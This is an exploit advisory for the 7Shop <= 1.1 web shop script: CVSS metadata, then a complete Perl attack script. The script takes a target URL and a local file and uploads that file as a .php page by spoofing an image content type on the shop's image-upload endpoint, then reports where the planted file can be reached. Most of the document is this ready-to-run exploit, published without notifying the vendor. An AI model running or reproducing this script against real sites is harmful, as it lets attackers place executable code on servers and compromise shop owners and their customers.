7Shop <= 1.1 Remote Arbitrary File Upload Exploit

2009.05.14
Credit: t0pP8uZz
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand(1000) . ".php"; # int.. yes i know PU! print <<INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + 7Shop <= 1.1 Remote Arbitrary File Upload + + [Content-Type] -> Spoofing + + Discovered && Coded By: t0pP8uZz + + + + Contact IRC: irc.rizon.net #sectalk + + Vendor not notified! Later versions maybe vuln! + + + + + + Script Download: http://7shop.de + +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO print "\nEnter URL(ie: http://site.com/shop): "; chomp(my $url=<STDIN>); print "\nEnter File Path(path to local file to upload): "; chomp(my $file=<STDIN>); my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $url.'/includes/imageupload.php', Content_Type => 'form-data', Content => [ img1 => [ $file, $fname, Content_Type => 'image/jpeg' ], ] ); die "HTTP POST Failed!" unless $re->is_success; if($re->content =~ /File is valid/) { print "File successfully uploaded! Access your file here: " . $url . "/images/artikel/" . $fname . "\n"; # say()? nah you havent got perl510 yet. have you! } elsif($re->content =~ /The requested URL/) { # apache debug only print "File Upload Failed! The requested target was not running a vulnerable version of 7shop!\n"; } else { print "File Upload Failed! target vulnerable, but upload failed.. try changing filename.\n"; } exit;


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